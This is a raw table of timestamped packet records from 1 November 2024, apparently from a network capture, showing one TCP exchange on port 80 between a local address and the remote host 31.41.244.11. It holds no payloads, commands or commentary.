Nov 1, 2024 10:57:11.307632923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307636976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307643890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307646036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307656050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307668924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307673931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307679892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307692051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307701111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307703972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307708979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307722092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307733059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307738066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307745934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307755947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307766914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307776928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307779074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307795048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307807922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307818890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307820082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307830095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307841063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307852030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307852030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307869911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307890892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307893991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307914972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307926893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307936907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307938099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307955980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307961941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307969093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307980061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307985067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307991028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308001995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308012009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308012009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308037996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308049917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308123112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308135986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308145046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308161974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308175087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308176041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308185101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308190107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308198929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308209896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308214903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308223009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308232069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308244944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308263063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308271885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308283091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308284998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308295012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308306932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308315039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308319092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308331013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308340073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308341980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308358908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308372021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308422089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308430910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308439970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308451891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308461905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308463097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308474064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308484077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308486938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308495998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308507919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308510065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308518887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308522940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308528900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308537960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308545113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308548927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308562040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308566093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308583021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308590889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308597088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308607101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.308607101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308628082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.308640957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.320386887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.337687969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337699890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337709904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337728024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337739944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337749958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337762117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337763071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.337784052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.337785959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.337816954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.337836981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.378360987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.378432035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.378530025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.391885042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.391906023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.391913891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.391920090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.391988039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.391988993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.391999960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392009974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392024994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392036915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392038107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392045975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392062902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392087936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392087936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392102003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392117023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392126083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392148018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392157078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392271042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392280102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392288923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392311096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392313957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392338991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392359972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392362118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392373085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392386913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392395020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392401934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392411947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392498970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392508030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392513990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392524004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392524958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392538071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392549992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392559052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392566919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392575979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392585993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392585993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392600060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392606020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392621040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392632961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392647028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392657042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392671108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392682076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392683029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392690897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392692089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392698050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392712116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392712116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392724037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392734051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392735958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392755985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392774105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392864943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392875910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392884970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392894983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392904997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392908096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392915964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392939091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392950058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.392972946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392990112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.392998934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393009901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393028021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393040895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393052101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393062115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393073082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393084049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393099070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393124104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393131971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393147945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393157959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393167019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393167973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393172026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393174887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393178940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393193960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393208027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393217087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393245935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393273115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393284082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393289089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393294096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393305063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393326998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393328905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393337965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393338919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393372059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393385887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393397093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393407106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393426895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393440008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393851042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393862963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393872976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393898964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393913984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393920898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393924952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393930912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393942118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393958092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393965960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.393969059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.393990040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394011974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394035101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394046068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394056082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394072056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394103050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394103050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394104004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394117117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394133091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394144058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394155979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394155979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394165993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394177914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394184113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394187927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394201994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394227028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394248962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394258976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394292116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394449949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394462109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394471884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394489050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394490004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394505024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394512892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394520044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394526958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394560099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394598961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394609928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394619942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394642115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394663095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394714117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394723892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394763947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394802094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394813061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394825935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394834995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394865990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394869089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394877911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394900084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394907951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394911051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394922972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394938946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394942045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394953966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.394962072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.394996881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395005941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395015001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395024061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395061970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395061970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395073891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395086050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395095110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395118952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395123005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395134926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395143986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395144939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395157099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395175934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395193100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395199060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395217896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395230055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395235062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395257950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395270109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395311117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395328999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395339012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395350933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395361900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395374060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395401955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395406008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395417929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395427942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395438910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395442009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395464897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395493031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395519972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395533085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395541906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395554066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395564079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395565033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395591021 CET	80	49820	31.41.244.11	192.168.2.4
